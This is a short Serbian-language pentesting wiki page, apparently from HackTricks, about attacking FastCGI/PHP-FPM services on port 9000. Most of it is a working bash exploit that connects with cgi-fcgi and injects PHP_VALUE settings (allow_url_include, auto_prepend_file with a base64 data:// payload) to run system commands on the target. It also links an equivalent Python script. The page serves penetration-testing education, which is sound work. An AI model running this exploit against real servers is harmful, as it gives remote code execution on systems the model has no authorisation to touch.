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38 lines
1.2 KiB
Markdown
38 lines
1.2 KiB
Markdown
{{#include ../banners/hacktricks-training.md}}
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# Osnovne informacije
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Ako želite da **naučite šta je FastCGI** pogledajte sledeću stranicu:
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{{#ref}}
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pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-fpm-fastcgi.md
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{{#endref}}
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Po defaultu, **FastCGI** radi na **portu** **9000** i nije prepoznat od strane nmap-a. **Obično** FastCGI sluša samo na **localhost**.
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# RCE
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Veoma je lako naterati FastCGI da izvrši proizvoljan kod:
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```bash
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#!/bin/bash
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PAYLOAD="<?php echo '<!--'; system('whoami'); echo '-->';"
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FILENAMES="/var/www/public/index.php" # Exisiting file path
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HOST=$1
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B64=$(echo "$PAYLOAD"|base64)
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for FN in $FILENAMES; do
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OUTPUT=$(mktemp)
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env -i \
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PHP_VALUE="allow_url_include=1"$'\n'"allow_url_fopen=1"$'\n'"auto_prepend_file='data://text/plain\;base64,$B64'" \
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SCRIPT_FILENAME=$FN SCRIPT_NAME=$FN REQUEST_METHOD=POST \
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cgi-fcgi -bind -connect $HOST:9000 &> $OUTPUT
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cat $OUTPUT
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done
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```
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ili možete koristiti sledeći python skript: [https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75](https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75)
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{{#include ../banners/hacktricks-training.md}}
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